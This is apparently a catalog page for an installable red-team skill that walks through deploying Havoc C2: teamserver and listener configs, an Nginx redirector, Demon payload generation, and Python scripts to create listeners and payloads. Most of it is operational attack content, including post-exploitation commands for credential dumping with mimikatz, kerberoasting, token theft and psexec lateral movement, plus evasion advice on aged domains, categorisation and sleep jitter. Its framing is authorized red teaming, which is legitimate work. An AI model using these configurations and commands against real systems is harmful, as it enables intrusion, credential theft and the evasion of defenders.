red teaming

Building Red Team C2 Infrastructure with Havoc

Deploy and configure the Havoc C2 framework with teamserver, HTTPS listeners, redirectors, and Demon agents for authorized red team operations.

adversary-emulationcommand-and-controldemon-agenthavoc-c2post-exploitationred-team-infrastructure
Install this skill
npx skills add mukul975/Anthropic-Cybersecurity-Skills
Framework mappings

Overview

Havoc is a modern, open-source post-exploitation command and control (C2) framework created by C5pider. It provides a collaborative multi-operator interface similar to Cobalt Strike, featuring the Demon agent for Windows post-exploitation, customizable profiles for traffic malleable configurations, and support for HTTP/HTTPS/SMB listeners. This skill covers deploying production-grade Havoc C2 infrastructure with proper OPSEC considerations for authorized red team engagements.

When to Use

  • When deploying or configuring building red team c2 infrastructure with havoc capabilities in your environment
  • When establishing security controls aligned to compliance requirements
  • When building or improving security architecture for this domain
  • When conducting security assessments that require this implementation

Prerequisites

  • Ubuntu 22.04 LTS or Debian 11+ (for Teamserver)
  • Kali Linux 2023+ (for Client)
  • VPS providers: DigitalOcean, Linode, or AWS EC2 (minimum 2GB RAM, 2 vCPU)
  • Domain name aged 30+ days with valid SSL certificate
  • Written authorization for red team engagement

Architecture

┌──────────────────────────────────────────────────────────────┐
│                    HAVOC C2 ARCHITECTURE                      │
├──────────────────────────────────────────────────────────────┤
│                                                               │
│  ┌──────────┐     ┌──────────────┐     ┌──────────────────┐ │
│  │  Havoc    │────▶│  HTTPS       │────▶│  Target Network  │ │
│  │  Client   │     │  Redirector  │     │  (Demon Agent)   │ │
│  │  (Kali)   │     │  (Nginx/CDN) │     │                  │ │
│  └──────────┘     └──────────────┘     └──────────────────┘ │
│       │                   │                                   │
│       │           ┌──────────────┐                            │
│       └──────────▶│  Havoc       │                            │
│                   │  Teamserver  │                            │
│                   │  (Ubuntu VPS)│                            │
│                   │  Port 40056  │                            │
│                   └──────────────┘                            │
│                                                               │
└──────────────────────────────────────────────────────────────┘

Step 1: Install Havoc Teamserver

# Clone the Havoc repository
git clone https://github.com/HavocFramework/Havoc.git
cd Havoc
 
# Install dependencies (Ubuntu 22.04)
sudo apt update
sudo apt install -y git build-essential apt-utils cmake libfontconfig1 \
    libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev \
    libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev \
    libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser \
    qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev \
    qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev \
    python3-dev libboost-all-dev mingw-w64 nasm
 
# Build the Teamserver
cd teamserver
go mod download golang.org/x/sys
go mod download github.com/ugorji/go
cd ..
make ts-build
 
# Build the Client
make client-build

Step 2: Configure Teamserver Profile

Create the Havoc profile (havoc.yaotl):

Teamserver {
    Host = "0.0.0.0"
    Port = 40056
 
    Build {
        Compiler64 = "/usr/bin/x86_64-w64-mingw32-gcc"
        Compiler86 = "/usr/bin/i686-w64-mingw32-gcc"
        Nasm = "/usr/bin/nasm"
    }
}
 
Operators {
    user "operator1" {
        Password = "Str0ngP@ssw0rd!"
    }
    user "operator2" {
        Password = "An0th3rP@ss!"
    }
}
 
Listeners {
    Http {
        Name         = "HTTPS Listener"
        Hosts        = ["c2.yourdomain.com"]
        HostBind     = "0.0.0.0"
        HostRotation = "round-robin"
        PortBind     = 443
        PortConn     = 443
        Secure       = true
        UserAgent    = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
 
        Uris = [
            "/api/v2/auth",
            "/api/v2/status",
            "/content/images/gallery",
        ]
 
        Headers = [
            "X-Requested-With: XMLHttpRequest",
            "Content-Type: application/json",
        ]
 
        Response {
            Headers = [
                "Content-Type: application/json",
                "Server: nginx/1.24.0",
                "X-Frame-Options: DENY",
            ]
        }
    }
}
 
Demon {
    Sleep  = 10
    Jitter = 30
 
    TrustXForwardedFor = false
 
    Injection {
        Spawn64 = "C:\\Windows\\System32\\notepad.exe"
        Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
    }
}

Step 3: Start Teamserver

# Start the Havoc Teamserver with the profile
./havoc server --profile ./profiles/havoc.yaotl -v
 
# Expected output:
# [*] Havoc Framework [Version: 0.7]
# [*] Teamserver started on: 0.0.0.0:40056
# [*] HTTPS Listener started on: 0.0.0.0:443

Step 4: Configure HTTPS Redirector

Set up an Nginx reverse proxy on a separate VPS as a redirector:

# /etc/nginx/sites-available/c2-redirector
server {
    listen 443 ssl;
    server_name c2.yourdomain.com;
 
    ssl_certificate /etc/letsencrypt/live/c2.yourdomain.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/c2.yourdomain.com/privkey.pem;
 
    # Only forward traffic matching C2 URIs
    location /api/v2/auth {
        proxy_pass https://TEAMSERVER_IP:443;
        proxy_ssl_verify off;
        proxy_set_header Host $host;
        proxy_set_header X-Forwarded-For $remote_addr;
    }
 
    location /api/v2/status {
        proxy_pass https://TEAMSERVER_IP:443;
        proxy_ssl_verify off;
        proxy_set_header Host $host;
    }
 
    location /content/images/gallery {
        proxy_pass https://TEAMSERVER_IP:443;
        proxy_ssl_verify off;
        proxy_set_header Host $host;
    }
 
    # Redirect all other traffic to legitimate site
    location / {
        return 301 https://www.microsoft.com;
    }
}

Step 5: Generate Demon Payload

# Via the Havoc Client GUI:
# Attack > Payload
# Agent: Demon
# Listener: HTTPS Listener
# Arch: x64
# Format: Windows Exe / Windows Shellcode
# Sleep Technique: WaitForSingleObjectEx (Ekko)
# Spawn: C:\Windows\System32\notepad.exe
 
# The generated Demon payload connects back through:
# Target -> Redirector (Nginx) -> Teamserver

Step 6: Post-Exploitation with Demon

Once a Demon session checks in, common post-exploitation commands:

# Session interaction
demon> whoami
demon> shell systeminfo
demon> shell ipconfig /all
 
# Process listing
demon> proc list
 
# File operations
demon> download C:\Users\target\Documents\sensitive.docx
demon> upload /tools/Rubeus.exe C:\Windows\Temp\r.exe
 
# In-memory .NET execution (no disk touch)
demon> dotnet inline-execute /tools/Seatbelt.exe -group=all
demon> dotnet inline-execute /tools/SharpHound.exe -c All
 
# Token manipulation
demon> token steal <PID>
demon> token make DOMAIN\user password
 
# Credential access
demon> mimikatz sekurlsa::logonpasswords
demon> dotnet inline-execute /tools/Rubeus.exe kerberoast
 
# Lateral movement
demon> jump psexec TARGET_HOST HTTPS_LISTENER
demon> jump winrm TARGET_HOST HTTPS_LISTENER
 
# Pivoting
demon> socks start 1080
demon> rportfwd start 8080 TARGET_INTERNAL 80

OPSEC Considerations

Aspect Recommendation
Domain Age Register domains 30+ days before engagement
SSL Certificates Use Let's Encrypt or purchased certificates, never self-signed
Categorization Submit domain to Bluecoat/Fortiguard for categorization
Sleep/Jitter Minimum 10s sleep with 30%+ jitter for long-haul operations
User-Agent Match target organization's common browser user-agent
Kill Date Set payload expiration to engagement end date
Infrastructure Separate teamserver, redirector, and phishing infrastructure
Payload Format Use shellcode with custom loader instead of raw EXE

MITRE ATT&CK Mapping

Technique ID Name Phase
T1583.001 Acquire Infrastructure: Domains Resource Development
T1583.003 Acquire Infrastructure: Virtual Private Server Resource Development
T1587.001 Develop Capabilities: Malware Resource Development
T1071.001 Application Layer Protocol: Web Protocols Command and Control
T1573.002 Encrypted Channel: Asymmetric Cryptography Command and Control
T1090.002 Proxy: External Proxy Command and Control
T1105 Ingress Tool Transfer Command and Control
T1055 Process Injection Defense Evasion

References

Source materials

References and resources

Everything below is rendered for inspection. Script files are read-only and never run.

References 3

api-reference.md1.8 KB

API Reference: Red Team C2 Infrastructure with Havoc

For authorized penetration testing and lab environments only.

Havoc Teamserver API

Base URL: https://{teamserver}:{port}/api/
Authorization: Bearer {token}

Listener Endpoints

Method Endpoint Description
GET /api/listeners List active listeners
POST /api/listeners Create new listener
DELETE /api/listeners/{name} Remove listener

Agent (Demon) Endpoints

Method Endpoint Description
GET /api/agents List connected agents
POST /api/agents/{id}/command Task agent
GET /api/agents/{id}/output Get task output

HTTPS Listener Config

{
  "name": "https-c2",
  "protocol": "Https",
  "host": "0.0.0.0",
  "port": 443,
  "hosts": ["c2.example.com"],
  "secure": true,
  "user_agent": "Mozilla/5.0 ..."
}

SMB Listener Config

{
  "name": "smb-pivot",
  "protocol": "Smb",
  "pipe_name": "\\\\.\\pipe\\mojo_ipc"
}

Payload Generation

POST /api/payloads/generate
{
  "listener": "https-c2",
  "arch": "x64",
  "format": "exe",
  "config": {
    "sleep": 5,
    "jitter": 20,
    "indirect_syscalls": true,
    "sleep_technique": "WaitForSingleObjectEx"
  }
}

Payload Formats

Format Description
exe Windows PE executable
dll DLL side-loading
shellcode Raw shellcode
service_exe Windows service binary

Agent Properties

Field Description
agent_id Unique identifier
hostname Target hostname
username Running user context
os Operating system
process_name Host process
pid Process ID
sleep Callback interval (seconds)
last_callback Last check-in time
standards.md2.4 KB

Standards and References: Havoc C2 Infrastructure

MITRE ATT&CK Techniques

Resource Development (TA0042)

  • T1583.001 - Acquire Infrastructure: Domains
  • T1583.003 - Acquire Infrastructure: Virtual Private Server
  • T1583.006 - Acquire Infrastructure: Web Services
  • T1587.001 - Develop Capabilities: Malware
  • T1587.003 - Develop Capabilities: Digital Certificates
  • T1608.001 - Stage Capabilities: Upload Malware
  • T1608.005 - Stage Capabilities: Link Target

Command and Control (TA0011)

  • T1071.001 - Application Layer Protocol: Web Protocols (HTTP/HTTPS)
  • T1573.001 - Encrypted Channel: Symmetric Cryptography
  • T1573.002 - Encrypted Channel: Asymmetric Cryptography
  • T1090.001 - Proxy: Internal Proxy
  • T1090.002 - Proxy: External Proxy
  • T1090.004 - Proxy: Domain Fronting
  • T1105 - Ingress Tool Transfer
  • T1132.001 - Data Encoding: Standard Encoding
  • T1001 - Data Obfuscation
  • T1568.002 - Dynamic Resolution: Domain Generation Algorithms
  • T1571 - Non-Standard Port
  • T1572 - Protocol Tunneling

Defense Evasion (TA0005)

  • T1055 - Process Injection
  • T1055.012 - Process Hollowing
  • T1620 - Reflective Code Loading
  • T1027 - Obfuscated Files or Information
  • T1497 - Virtualization/Sandbox Evasion
  • T1140 - Deobfuscate/Decode Files or Information

Execution (TA0002)

  • T1059.001 - PowerShell
  • T1106 - Native API
  • T1129 - Shared Modules

NIST References

  • NIST SP 800-115 - Section 4.3: Penetration Testing (authorized C2 usage)
  • NIST SP 800-53 Rev. 5 - CA-8: Penetration Testing controls
  • NIST SP 800-53 Rev. 5 - SI-4: Information System Monitoring (detection of C2)

Havoc-Specific Detection Signatures

Detection Source Rule
Default Havoc HTTP Headers Network IDS alert http any any -> any any (msg:"Havoc C2 Default Headers"; content:"X-Havoc"; sid:1000001;)
Demon Sleep Patterns EDR Periodic beaconing with consistent intervals +/- jitter
Named Pipe Patterns Sysmon EventID 17/18 with \\.\pipe\ matching Havoc defaults
Default Teamserver Port Firewall TCP 40056 outbound

Compliance Context

Havoc C2 usage is only authorized under:

  • Signed Rules of Engagement (RoE) documents
  • Authorized penetration testing under PCI DSS 11.4, SOC 2 CC7.1
  • TIBER-EU / CBEST threat-led penetration testing frameworks
  • Bug bounty programs with explicit C2 authorization
workflows.md8.0 KB

Workflows: Havoc C2 Infrastructure Deployment

Infrastructure Deployment Workflow

┌─────────────────────────────────────────────────────────────────┐
│              HAVOC C2 DEPLOYMENT WORKFLOW                         │
├─────────────────────────────────────────────────────────────────┤
│                                                                  │
│  1. DOMAIN & INFRASTRUCTURE PREPARATION (Week -4)                │
│     ├── Register domain names (aged 30+ days)                    │
│     ├── Submit domains for categorization (Bluecoat, Fortiguard) │
│     ├── Provision VPS instances (Teamserver + Redirector)        │
│     ├── Obtain SSL certificates (Let's Encrypt)                  │
│     └── Configure DNS A records                                  │
│                                                                  │
│  2. TEAMSERVER SETUP (Day 1)                                     │
│     ├── Install dependencies on Ubuntu VPS                       │
│     ├── Clone and build Havoc from source                        │
│     ├── Create teamserver profile (havoc.yaotl)                  │
│     │   ├── Configure operator credentials                       │
│     │   ├── Define listeners (HTTPS, SMB)                        │
│     │   ├── Set Demon agent parameters                           │
│     │   └── Configure malleable traffic profiles                 │
│     ├── Harden teamserver (iptables, fail2ban)                   │
│     └── Start teamserver with verbose logging                    │
│                                                                  │
│  3. REDIRECTOR CONFIGURATION (Day 1-2)                           │
│     ├── Install Nginx on redirector VPS                          │
│     ├── Configure SSL termination                                │
│     ├── Set up reverse proxy rules                               │
│     │   ├── Forward C2 URIs to teamserver                        │
│     │   └── Redirect non-matching traffic to legit site          │
│     ├── Configure access logging                                 │
│     └── Test end-to-end connectivity                             │
│                                                                  │
│  4. PAYLOAD DEVELOPMENT (Day 2-3)                                │
│     ├── Generate Demon shellcode via Havoc Client                │
│     ├── Develop custom loader (C/Rust/Nim)                       │
│     │   ├── AES-encrypt shellcode                                │
│     │   ├── Implement sleep obfuscation                          │
│     │   ├── Add sandbox checks                                   │
│     │   └── Use indirect syscalls                                │
│     ├── Test against AV/EDR in lab                               │
│     └── Package for delivery vector                              │
│                                                                  │
│  5. OPERATIONAL TESTING (Day 3-4)                                │
│     ├── Test beacon callback through full chain                  │
│     ├── Verify redirector filtering                              │
│     ├── Test sleep/jitter behavior                               │
│     ├── Validate post-exploitation modules                       │
│     └── Confirm kill switch functionality                        │
│                                                                  │
│  6. OPERATIONAL USE (Engagement period)                          │
│     ├── Deploy payloads via approved vectors                     │
│     ├── Manage sessions through Havoc Client                     │
│     ├── Execute post-exploitation tasks                          │
│     ├── Maintain operator logs                                   │
│     └── Monitor infrastructure health                            │
│                                                                  │
│  7. TEAR-DOWN (Post-engagement)                                  │
│     ├── Remove all implants from target systems                  │
│     ├── Archive engagement logs                                  │
│     ├── Destroy VPS instances                                    │
│     ├── Release domain names                                     │
│     └── Provide IOCs to client for deconfliction                 │
│                                                                  │
└─────────────────────────────────────────────────────────────────┘

Havoc Listener Configuration Decision Tree

Select Listener Type

├── External (Internet-facing targets)?
│   ├── HTTPS Listener
│   │   ├── Use valid SSL certificate
│   │   ├── Configure malleable URIs
│   │   ├── Set User-Agent to match target
│   │   └── Route through redirector
│   └── HTTP Listener (lab only)
│       └── Never use in production operations

├── Internal (post-initial access)?
│   ├── SMB Listener (named pipe)
│   │   ├── For workstation-to-workstation pivoting
│   │   └── No direct internet connectivity needed
│   └── TCP Listener
│       └── For direct internal connections

└── Advanced?
    └── External C2 Listener
        ├── Custom protocol over DNS
        ├── Domain fronting via CDN
        └── Third-party service channels

Terraform Deployment Template

# main.tf - Automated Havoc C2 Infrastructure
provider "aws" {
  region = "us-east-1"
}
 
resource "aws_instance" "teamserver" {
  ami           = "ami-0c7217cdde317cfec"  # Ubuntu 22.04
  instance_type = "t3.medium"
  key_name      = var.ssh_key_name
 
  vpc_security_group_ids = [aws_security_group.teamserver_sg.id]
 
  user_data = file("scripts/install_havoc.sh")
 
  tags = {
    Name = "havoc-teamserver"
  }
}
 
resource "aws_instance" "redirector" {
  ami           = "ami-0c7217cdde317cfec"
  instance_type = "t3.micro"
  key_name      = var.ssh_key_name
 
  vpc_security_group_ids = [aws_security_group.redirector_sg.id]
 
  user_data = file("scripts/install_redirector.sh")
 
  tags = {
    Name = "havoc-redirector"
  }
}
 
resource "aws_security_group" "teamserver_sg" {
  name = "havoc-teamserver-sg"
 
  ingress {
    from_port   = 40056
    to_port     = 40056
    protocol    = "tcp"
    cidr_blocks = [var.operator_ip]
  }
 
  ingress {
    from_port   = 443
    to_port     = 443
    protocol    = "tcp"
    cidr_blocks = [aws_instance.redirector.public_ip]
  }
}
 
resource "aws_security_group" "redirector_sg" {
  name = "havoc-redirector-sg"
 
  ingress {
    from_port   = 443
    to_port     = 443
    protocol    = "tcp"
    cidr_blocks = ["0.0.0.0/0"]
  }
}

OPSEC Checklist

  • Domains aged 30+ days before use
  • Domains categorized in web proxies
  • Valid SSL certificates installed
  • Teamserver port (40056) firewalled to operator IPs only
  • Redirector configured to filter non-C2 traffic
  • Malleable C2 profile customized (URIs, headers, user-agent)
  • Demon sleep set to 10+ seconds with 30%+ jitter
  • Payload tested against target AV/EDR in lab
  • Kill date set on all payloads
  • Operator logs enabled and encrypted
  • Emergency deconfliction process documented

Scripts 2

agent.py6.1 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""Havoc C2 Infrastructure Builder Agent - Manages Havoc C2 framework deployment and listener setup.

# For authorized penetration testing and lab environments only.
"""

import json
import logging
import argparse
from datetime import datetime

import requests

logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
logger = logging.getLogger(__name__)

HAVOC_DEFAULT_PORT = 40056


def havoc_api_request(teamserver, endpoint, token, method="GET", data=None):
    """Make authenticated request to Havoc teamserver API."""
    url = f"https://{teamserver}/api/{endpoint}"
    headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}
    try:
        if method == "GET":
            resp = requests.get(url, headers=headers, timeout=15, verify=False)
        else:
            resp = requests.post(url, headers=headers, json=data or {}, timeout=15, verify=False)
        resp.raise_for_status()
        return resp.json()
    except requests.RequestException as e:
        logger.error("Havoc API request failed: %s", e)
        return {"error": str(e)}


def list_listeners(teamserver, token):
    """List active listeners on the teamserver."""
    data = havoc_api_request(teamserver, "listeners", token)
    listeners = data.get("listeners", [])
    logger.info("Found %d active listeners", len(listeners))
    return listeners


def create_https_listener(teamserver, token, name, bind_addr, bind_port, hosts, secure=True):
    """Create an HTTPS listener."""
    config = {
        "name": name,
        "protocol": "Https",
        "host": bind_addr,
        "port": bind_port,
        "hosts": hosts,
        "secure": secure,
        "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
        "headers": ["Content-Type: application/json", "X-Forwarded-For: 127.0.0.1"],
    }
    result = havoc_api_request(teamserver, "listeners", token, method="POST", data=config)
    logger.info("Created HTTPS listener '%s' on %s:%d", name, bind_addr, bind_port)
    return result


def create_smb_listener(teamserver, token, name, pipe_name):
    """Create an SMB named pipe listener for pivoting."""
    config = {"name": name, "protocol": "Smb", "pipe_name": pipe_name}
    result = havoc_api_request(teamserver, "listeners", token, method="POST", data=config)
    logger.info("Created SMB listener '%s' on pipe %s", name, pipe_name)
    return result


def list_agents(teamserver, token):
    """List connected agents (demons)."""
    data = havoc_api_request(teamserver, "agents", token)
    agents = data.get("agents", [])
    logger.info("Found %d connected agents", len(agents))
    return [{"id": a.get("agent_id"), "hostname": a.get("hostname"), "username": a.get("username"),
             "os": a.get("os"), "process": a.get("process_name"), "pid": a.get("pid"),
             "last_callback": a.get("last_callback"), "sleep": a.get("sleep")} for a in agents]


def generate_payload(teamserver, token, listener_name, payload_type="exe", arch="x64"):
    """Generate a Havoc demon payload."""
    config = {
        "listener": listener_name,
        "arch": arch,
        "format": payload_type,
        "config": {
            "sleep": 5,
            "jitter": 20,
            "indirect_syscalls": True,
            "stack_duplication": True,
            "sleep_technique": "WaitForSingleObjectEx",
        },
    }
    result = havoc_api_request(teamserver, "payloads/generate", token, method="POST", data=config)
    logger.info("Generated %s payload for listener '%s'", payload_type, listener_name)
    return result


def assess_infrastructure(listeners, agents):
    """Assess C2 infrastructure health and coverage."""
    assessment = {
        "listener_count": len(listeners),
        "agent_count": len(agents),
        "protocols_in_use": list(set(l.get("protocol", "unknown") for l in listeners)),
        "unique_hosts": list(set(a.get("hostname", "unknown") for a in agents)),
        "stale_agents": [],
        "recommendations": [],
    }
    for agent in agents:
        sleep_val = agent.get("sleep", 0)
        if sleep_val > 60:
            assessment["stale_agents"].append(agent.get("id"))
    if not any(l.get("protocol") == "Smb" for l in listeners):
        assessment["recommendations"].append("Add SMB listener for internal pivoting")
    if len(listeners) < 2:
        assessment["recommendations"].append("Add redundant listeners for resilience")
    if not agents:
        assessment["recommendations"].append("No active agents - deploy payloads")
    return assessment


def generate_report(listeners, agents, assessment):
    """Generate C2 infrastructure report."""
    report = {
        "timestamp": datetime.utcnow().isoformat(),
        "disclaimer": "For authorized penetration testing and lab environments only",
        "listeners": listeners,
        "agents": agents,
        "infrastructure_assessment": assessment,
    }
    print(f"C2 REPORT: {len(listeners)} listeners, {len(agents)} agents, "
          f"{len(assessment.get('recommendations', []))} recommendations")
    return report


def main():
    parser = argparse.ArgumentParser(description="Havoc C2 Infrastructure Builder (authorized testing only)")
    parser.add_argument("--teamserver", required=True, help="Teamserver address (host:port)")
    parser.add_argument("--token", required=True, help="API authentication token")
    parser.add_argument("--action", choices=["status", "create-listener", "generate-payload", "full-report"],
                        default="full-report")
    parser.add_argument("--listener-name", default="https-primary")
    parser.add_argument("--bind-port", type=int, default=443)
    parser.add_argument("--output", default="havoc_c2_report.json")
    args = parser.parse_args()

    listeners = list_listeners(args.teamserver, args.token)
    agents = list_agents(args.teamserver, args.token)
    assessment = assess_infrastructure(listeners, agents)
    report = generate_report(listeners, agents, assessment)
    with open(args.output, "w") as f:
        json.dump(report, f, indent=2)
    logger.info("Report saved to %s", args.output)


if __name__ == "__main__":
    main()
process.py12.3 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""
Havoc C2 Infrastructure Health Monitor

Monitors Havoc C2 infrastructure components (teamserver, redirectors,
listeners) and generates operational status reports for red team operations.
"""

import json
import socket
import ssl
import os
import hashlib
import subprocess
import time
from datetime import datetime
from dataclasses import dataclass, field, asdict
from typing import Optional
from urllib.request import urlopen, Request
from urllib.error import URLError, HTTPError


@dataclass
class InfraComponent:
    """Represents an infrastructure component."""
    name: str
    host: str
    port: int
    component_type: str  # teamserver, redirector, listener, dns
    protocol: str = "tcp"
    expected_response: str = ""
    ssl_enabled: bool = False


@dataclass
class HealthCheck:
    """Result of a health check."""
    component: str
    host: str
    port: int
    status: str  # up, down, degraded
    latency_ms: float = 0.0
    ssl_valid: bool = False
    ssl_expiry: str = ""
    details: str = ""
    timestamp: str = ""


class HavocInfraMonitor:
    """Monitor Havoc C2 infrastructure health and OPSEC status."""

    def __init__(self, config_path: Optional[str] = None):
        self.components: list[InfraComponent] = []
        self.check_results: list[HealthCheck] = []
        self.alerts: list[str] = []

        if config_path and os.path.exists(config_path):
            self._load_config(config_path)

    def _load_config(self, config_path: str) -> None:
        """Load infrastructure configuration from JSON."""
        with open(config_path) as f:
            config = json.load(f)
        for comp in config.get("components", []):
            self.components.append(InfraComponent(**comp))

    def add_component(self, component: InfraComponent) -> None:
        """Add an infrastructure component to monitor."""
        self.components.append(component)

    def check_tcp_port(self, host: str, port: int, timeout: float = 5.0) -> tuple[bool, float]:
        """Check if a TCP port is open and measure latency."""
        start = time.time()
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(timeout)
            result = sock.connect_ex((host, port))
            latency = (time.time() - start) * 1000
            sock.close()
            return result == 0, latency
        except (socket.error, socket.timeout):
            return False, 0.0

    def check_ssl_certificate(self, host: str, port: int = 443) -> dict:
        """Check SSL certificate validity and expiration."""
        try:
            context = ssl.create_default_context()
            with socket.create_connection((host, port), timeout=10) as sock:
                with context.wrap_socket(sock, server_hostname=host) as ssock:
                    cert = ssock.getpeercert()
                    not_after = cert.get("notAfter", "")
                    subject = dict(x[0] for x in cert.get("subject", ()))
                    issuer = dict(x[0] for x in cert.get("issuer", ()))

                    # Parse expiry
                    expiry = datetime.strptime(not_after, "%b %d %H:%M:%S %Y %Z")
                    days_remaining = (expiry - datetime.utcnow()).days

                    return {
                        "valid": True,
                        "expiry": not_after,
                        "days_remaining": days_remaining,
                        "subject_cn": subject.get("commonName", ""),
                        "issuer_cn": issuer.get("commonName", ""),
                        "self_signed": subject.get("commonName") == issuer.get("commonName"),
                    }
        except ssl.SSLCertVerificationError as e:
            return {"valid": False, "error": str(e), "self_signed": True}
        except Exception as e:
            return {"valid": False, "error": str(e)}

    def check_http_response(self, host: str, port: int, path: str = "/",
                            ssl_enabled: bool = True, expected_status: int = 200) -> dict:
        """Check HTTP/HTTPS endpoint response."""
        scheme = "https" if ssl_enabled else "http"
        url = f"{scheme}://{host}:{port}{path}"
        try:
            context = ssl.create_default_context()
            context.check_hostname = False
            context.verify_mode = ssl.CERT_NONE

            req = Request(url, headers={
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
            })
            start = time.time()
            resp = urlopen(req, timeout=10, context=context)
            latency = (time.time() - start) * 1000
            return {
                "status_code": resp.getcode(),
                "latency_ms": latency,
                "headers": dict(resp.headers),
                "reachable": True,
            }
        except HTTPError as e:
            return {"status_code": e.code, "reachable": True, "error": str(e)}
        except URLError as e:
            return {"reachable": False, "error": str(e)}

    def check_dns_resolution(self, domain: str) -> dict:
        """Verify DNS resolution for C2 domains."""
        try:
            results = socket.getaddrinfo(domain, None)
            ips = list(set(r[4][0] for r in results))
            return {"resolved": True, "ips": ips}
        except socket.gaierror as e:
            return {"resolved": False, "error": str(e)}

    def run_all_checks(self) -> list[HealthCheck]:
        """Run health checks on all configured components."""
        self.check_results = []
        self.alerts = []

        for comp in self.components:
            print(f"[*] Checking {comp.name} ({comp.host}:{comp.port})...")

            # TCP port check
            is_up, latency = self.check_tcp_port(comp.host, comp.port)

            check = HealthCheck(
                component=comp.name,
                host=comp.host,
                port=comp.port,
                status="up" if is_up else "down",
                latency_ms=latency,
                timestamp=datetime.utcnow().isoformat(),
            )

            if not is_up:
                self.alerts.append(f"CRITICAL: {comp.name} ({comp.host}:{comp.port}) is DOWN")
                check.details = "TCP connection failed"
                self.check_results.append(check)
                continue

            # SSL check for HTTPS components
            if comp.ssl_enabled:
                ssl_info = self.check_ssl_certificate(comp.host, comp.port)
                check.ssl_valid = ssl_info.get("valid", False)
                check.ssl_expiry = ssl_info.get("expiry", "")

                if ssl_info.get("self_signed", False):
                    self.alerts.append(
                        f"OPSEC WARNING: {comp.name} has self-signed certificate!"
                    )
                if ssl_info.get("days_remaining", 999) < 7:
                    self.alerts.append(
                        f"WARNING: {comp.name} SSL expires in "
                        f"{ssl_info['days_remaining']} days"
                    )

            # HTTP response check for web-based components
            if comp.component_type in ("redirector", "listener"):
                http_info = self.check_http_response(
                    comp.host, comp.port, ssl_enabled=comp.ssl_enabled
                )
                if http_info.get("reachable"):
                    server_header = http_info.get("headers", {}).get("Server", "")
                    if "Havoc" in server_header:
                        self.alerts.append(
                            f"OPSEC CRITICAL: {comp.name} leaking Havoc in Server header!"
                        )
                    check.details = f"HTTP {http_info.get('status_code', 'N/A')}"

            # Latency check
            if latency > 1000:
                self.alerts.append(
                    f"WARNING: {comp.name} high latency: {latency:.0f}ms"
                )
                check.status = "degraded"

            self.check_results.append(check)

        return self.check_results

    def check_domain_opsec(self, domain: str) -> dict:
        """Check domain OPSEC status."""
        results = {
            "domain": domain,
            "dns_resolves": False,
            "checks": [],
        }

        # DNS resolution
        dns = self.check_dns_resolution(domain)
        results["dns_resolves"] = dns.get("resolved", False)
        results["resolved_ips"] = dns.get("ips", [])

        # Check if domain is too new (WHOIS-based heuristic)
        results["checks"].append({
            "check": "DNS Resolution",
            "status": "PASS" if dns.get("resolved") else "FAIL",
        })

        # SSL certificate check
        ssl_info = self.check_ssl_certificate(domain)
        results["checks"].append({
            "check": "Valid SSL Certificate",
            "status": "PASS" if ssl_info.get("valid") else "FAIL",
            "details": ssl_info,
        })

        if ssl_info.get("self_signed"):
            results["checks"].append({
                "check": "Not Self-Signed",
                "status": "FAIL",
                "details": "Self-signed certificates are an OPSEC failure",
            })

        return results

    def generate_status_report(self) -> str:
        """Generate infrastructure status report."""
        lines = []
        lines.append("=" * 60)
        lines.append("HAVOC C2 INFRASTRUCTURE STATUS REPORT")
        lines.append(f"Generated: {datetime.utcnow().isoformat()}")
        lines.append("=" * 60)

        # Component status
        lines.append("\nCOMPONENT STATUS:")
        lines.append("-" * 60)
        for check in self.check_results:
            status_icon = {
                "up": "[+]",
                "down": "[!]",
                "degraded": "[~]",
            }.get(check.status, "[?]")
            lines.append(
                f"  {status_icon} {check.component:<25} "
                f"{check.status.upper():<10} "
                f"{check.latency_ms:.0f}ms"
            )
            if check.ssl_valid:
                lines.append(f"      SSL: Valid (expires {check.ssl_expiry})")
            if check.details:
                lines.append(f"      Details: {check.details}")

        # Alerts
        if self.alerts:
            lines.append("\nALERTS:")
            lines.append("-" * 60)
            for alert in self.alerts:
                lines.append(f"  {alert}")

        # Summary
        total = len(self.check_results)
        up = sum(1 for c in self.check_results if c.status == "up")
        down = sum(1 for c in self.check_results if c.status == "down")
        degraded = sum(1 for c in self.check_results if c.status == "degraded")

        lines.append(f"\nSUMMARY: {up}/{total} UP | {degraded} DEGRADED | {down} DOWN")

        if down > 0:
            lines.append("STATUS: INFRASTRUCTURE DEGRADED - IMMEDIATE ACTION REQUIRED")
        elif self.alerts:
            lines.append("STATUS: OPERATIONAL WITH WARNINGS")
        else:
            lines.append("STATUS: FULLY OPERATIONAL")

        return "\n".join(lines)

    def export_json(self, output_path: str) -> None:
        """Export results to JSON."""
        data = {
            "timestamp": datetime.utcnow().isoformat(),
            "components": [asdict(c) for c in self.check_results],
            "alerts": self.alerts,
        }
        with open(output_path, "w") as f:
            json.dump(data, f, indent=2)
        print(f"[+] Results exported to {output_path}")


def main():
    """Demonstrate infrastructure monitoring."""
    monitor = HavocInfraMonitor()

    # Configure infrastructure components
    monitor.add_component(InfraComponent(
        name="Havoc Teamserver",
        host="127.0.0.1",
        port=40056,
        component_type="teamserver",
        protocol="tcp",
    ))

    monitor.add_component(InfraComponent(
        name="HTTPS Redirector",
        host="127.0.0.1",
        port=443,
        component_type="redirector",
        ssl_enabled=True,
    ))

    monitor.add_component(InfraComponent(
        name="HTTPS Listener",
        host="127.0.0.1",
        port=443,
        component_type="listener",
        ssl_enabled=True,
    ))

    # Run health checks
    print("[*] Running infrastructure health checks...\n")
    monitor.run_all_checks()

    # Generate report
    report = monitor.generate_status_report()
    print(report)

    # Export results
